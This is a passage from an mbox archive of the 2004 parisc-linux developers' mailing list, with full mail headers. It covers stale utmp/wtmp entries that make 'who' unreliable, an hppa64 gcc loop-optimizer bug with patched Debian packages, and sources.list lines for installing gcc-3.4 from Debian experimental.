	with ESMTP id 01810-10; Sun, 20 Jun 2004 01:22:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 380A73BDDB; Sun, 20 Jun 2004 01:20:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E02C3BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 01:20:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01725-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 01:20:11 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 088D43BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 01:20:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 34AFC29809C; Sun, 20 Jun 2004 01:20:10 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 20025-04; Sun, 20 Jun 2004 01:20:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1099A298092; Sun, 20 Jun 2004 01:20:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200406200204.i5K246dC007504@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21755

On Sat, Jun 19, 2004 at 10:04:06PM -0400, John David Anglin wrote:
> I've noticed that "who" is essentially useless in reporting users who
> are actually logged in.  There seems to be a rather poor cleanup when
> connections die and a user doesn't logout.

Yeah.  I started seeing that in the end of May, IIRC.  X86 works fine.
I had some other fires going and didn't get a chance to look at it.
We could try a 2.4 kernel and see if the same problem exists.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	Heads up,	2.6.7-pa0 FTBS with 64-bit toolchain
	+ loop
Date: Sun, 20 Jun 2004 11:26:12 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <16597.22580.146769.47375@gargle.gargle.HOWL>
References: <20040616194411.GB3412@baldric.uwo.ca>
	<40D35B15.3040505@tiscali.be> <20040618212505.GA12572@engsoc.org>
	<20040619011714.GC23535@colo.lackof.org>
	<20040619015455.GE12572@engsoc.org> <40D4C53E.5000309@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623484 10024 80.91.229.3 (22 Nov 2014 02:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 849 invoked by uid 65534); 20 Jun 2004 09:28:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 20 Jun 2004 11:28:20 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ED0593BDDA; Sun, 20 Jun 2004 03:28:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02739-10; Sun, 20 Jun 2004 03:28:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D08953BDE9; Sun, 20 Jun 2004 03:26:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA15B3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 03:26:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03049-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 03:26:17 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 46AAA3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 03:26:16 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de
	[130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id LAA15173;
	Sun, 20 Jun 2004 11:26:12 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id i5K9QCaO012036;
	Sun, 20 Jun 2004 11:26:12 +0200 (MEST)
In-Reply-To: <40D4C53E.5000309@tiscali.be>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21756

Joel Soete writes:
> That said, my very interest in 3.4 (and 3.5 now because is became
> the debian gcc-snapshot ;) )

gcc-3.4 is available as a package as well. Add the following line to
to your sources.list.

deb http://ftp.debian.org/debian ../project/experimental main contrib non-free

then install it using apt-get -t experimental gcc-3.4
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]      Heads up, 2.6.7-pa0 FTBS with 64-bit toolchain
Date: Sun, 20 Jun 2004 12:24:46 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <16597.26094.175650.225420@gargle.gargle.HOWL>
References: <200406200029.i5K0T1re007012@hiauly1.hia.nrc.ca>
	<200406200114.i5K1ESYp007238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623484 10027 80.91.229.3 (22 Nov 2014 02:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5895 invoked by uid 65534); 20 Jun 2004 10:25:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx034) with SMTP; 20 Jun 2004 12:25:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A7B3F3BDE2; Sun, 20 Jun 2004 04:25:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03594-05; Sun, 20 Jun 2004 04:25:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3BB943BDD1; Sun, 20 Jun 2004 04:25:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB2263BDCD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 04:24:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03600-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 04:24:58 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 0F3143BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 04:24:58 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de
	[130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id MAA00162;
	Sun, 20 Jun 2004 12:24:46 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id i5KAOkXr023306;
	Sun, 20 Jun 2004 12:24:46 +0200 (MEST)
In-Reply-To: <200406200114.i5K1ESYp007238@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21757

John David Anglin writes:
> > > Kyle McMartin wrote:
> > > > On Fri, Jun 18, 2004 at 07:17:14PM -0600, Grant Grundler wrote:
> > > > 
> > > >>Should I be testing 64-bit kernels built with this toolchain
> > > >>or stick with my trusty gcc 3.0.4-hppa64 handmade debs?
> > > >>
> > > > 
> > > > There's a bug in hppa64 gcc sometime after 3.0.4 (it shows up in the
> > > > gcc-3.3-hppa64 and gcc-3.4-hppa64 debs) that causes builds to fail in
> > > > (at least) loop.c.
> > > > 
> > > > http://gcc.gnu.org/bugzilla/show_bug.cgi?id=14782 is the bug Randolph
> > > > filed.
> > 
> > I believe that I understand the cause of this bug and have started
> > testing a fix.
> 
> Enclosed is the patch that I am testing.  It seems to generated reasonable
> code for the testcase that Carlos submitted today.  As far as I can tell,
> the bug has been present in the FSF sources since the first support for
> the 64-bit port (3.0 branch).  Thus, I expect the bug is present in debian
> 3.0.4, just not triggered.  The bug is triggered by the loop optimizer.
> 
> I would be interested in hearing if this solves the kernel build problem.
> The patch is for 3.5.  It might need a bit of hacking to apply it to
> earlier branches.

updated packages at

http://people.debian.org/~doko/gcc-3.3/gcc-3.3-hppa64_3.3.4-1_hppa.deb
http://people.debian.org/~doko/gcc-3.4/gcc-3.4-hppa64_3.4.0-3_hppa.deb

install the latter using dpkg -i --force-depends
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] who?
Date: Sun, 20 Jun 2004 12:23:46 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20040620182346.GC30899@colo.lackof.org>
References: <200406200204.i5K246dC007504@hiauly1.hia.nrc.ca>
	<20040620072007.GB18353@colo.lackof.org>
	<20040620133854.GQ20511@parcelfarce.linux.theplanet.co.uk>
	<1087739975.11000.18.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623484 10029 80.91.229.3 (22 Nov 2014 02:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:24 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23698 invoked by uid 65534); 20 Jun 2004 18:24:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 20 Jun 2004 20:24:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C3F3E3BDD6; Sun, 20 Jun 2004 12:24:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08920-09; Sun, 20 Jun 2004 12:24:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 462EC3BDCE; Sun, 20 Jun 2004 12:23:53 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 298713BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 12:23:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08590-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 12:23:49 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9158C3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 12:23:48 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C20662980A3; Sun, 20 Jun 2004 12:23:47 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31968-02; Sun, 20 Jun 2004 12:23:46 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 49B892980A1; Sun, 20 Jun 2004 12:23:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1087739975.11000.18.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21758

On Sun, Jun 20, 2004 at 08:59:32AM -0500, James Bottomley wrote:
> If you're going to investigate, my bet would be on the new pts
> behaviour.  I bet the utmp/wtmp utilities haven't met pts numbers going
> up that high before.

probably. "last" shows all the entries and "who" only shows
the entries up to the points pts numbers get small again:

grundler <531>last
grundler pts/284525   c-24-6-53-189.cl Sun Jun 20 10:54   still logged in   
grundler pts/284524   c-24-6-53-189.cl Sun Jun 20 10:49   still logged in   
dave     pts/283794   hse-ottawa-ppp23 Sun Jun 20 08:49    gone - no logout 
grundler pts/283793   c-24-6-53-189.cl Sat Jun 19 23:21    gone - no logout 
...
dave     pts/24749    hse-ottawa-ppp23 Thu Jun  3 21:44    gone - no logout 
carlos   pts/24748    ip47-168.ott.ist Thu Jun  3 13:27    gone - no logout 
grundler pts/5        c-24-6-53-189.cl Wed Jun  2 22:12 - 22:14  (00:02)    
grundler pts/4        c-24-6-53-189.cl Wed Jun  2 20:55 - 22:10  (01:15)    
...
reboot   system boot  2.6.6-pa4        Wed Jun  2 16:52         (17+18:17)  
grundler pts/233985   c-24-6-53-189.cl Tue Jun  1 21:24 - crash  (19:28)    
dave     pts/212624   hiauly1.hia.nrc. Tue Jun  1 14:57 - crash (1+01:54)   

wtmp begins Tue Jun  1 14:57:53 2004
grundler <532>who
carlos   pts/24748    Jun  3 13:27 (ip47-168.ott.istop.com)
dave     pts/24749    Jun  3 21:44 (hse-ottawa-ppp235823.sympatico.ca)
grundler pts/24750    Jun  3 21:53 (c-24-6-53-189.client.comcast.net)
...


The "no logout" message is another clue.
Either last is having problems with that or whoever writes the utmp/wtmp
entries does.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	Heads up,	2.6.7-pa0 FTBS with 64-bit toolchain
	+ loop
Date: Sun, 20 Jun 2004 21:21:02 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <16597.58270.737890.793378@gargle.gargle.HOWL>
References: <20040616194411.GB3412@baldric.uwo.ca>
	<40D35B15.3040505@tiscali.be> <20040618212505.GA12572@engsoc.org>
	<20040619011714.GC23535@colo.lackof.org>
	<20040619015455.GE12572@engsoc.org> <40D4C53E.5000309@tiscali.be>
	<16597.22580.146769.47375@gargle.gargle.HOWL>
	<40D5B081.30508@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623485 10036 80.91.229.3 (22 Nov 2014 02:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30380 invoked by uid 65534); 20 Jun 2004 19:21:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 20 Jun 2004 21:21:43 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 633F73BDCB; Sun, 20 Jun 2004 13:21:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09676-10; Sun, 20 Jun 2004 13:21:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3C9C03BDCE; Sun, 20 Jun 2004 13:21:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E811F3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 13:21:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09685-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 13:21:06 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 499D53BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Jun 2004 13:21:05 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de
	[130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id VAA28245;
	Sun, 20 Jun 2004 21:21:03 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id i5KJL2va000619;
	Sun, 20 Jun 2004 21:21:02 +0200 (MEST)
In-Reply-To: <40D5B081.30508@tiscali.be>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21759

Joel Soete writes:
> > deb http://ftp.debian.org/debian ../project/experimental main contrib non-free

sorry, should be ftp.de.debian.org, or every other mirror.

> ok i miss something in my sources.list I only have:
> deb http://ftp.de.debian.org/debian experimental main contrib non-free
> deb-src http://ftp.de.debian.org/debian experimental main contrib non-free
> 
> A link? (Packages, Sources, Release files only look like the same)

deb http://ftp.de.debian.org/debian ../project/experimental main contrib non-free
deb http://ftp.de.debian.org/debian experimental main contrib non-free

both lines should work.

> > then install it using apt-get -t experimental gcc-3.4

apt-get -t experimental install gcc-3.4


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ipv6 problem with 2.6.7-pa1
Date: Mon, 21 Jun 2004 10:24:34 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20040621142434.GB28438@engsoc.org>
References: <20040621153015.596e4014.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623485 10040 80.91.229.3 (22 Nov 2014 02:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12660 invoked by uid 65534); 21 Jun 2004 14:28:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 21 Jun 2004 16:28:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 458BB3BDED; Mon, 21 Jun 2004 08:28:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
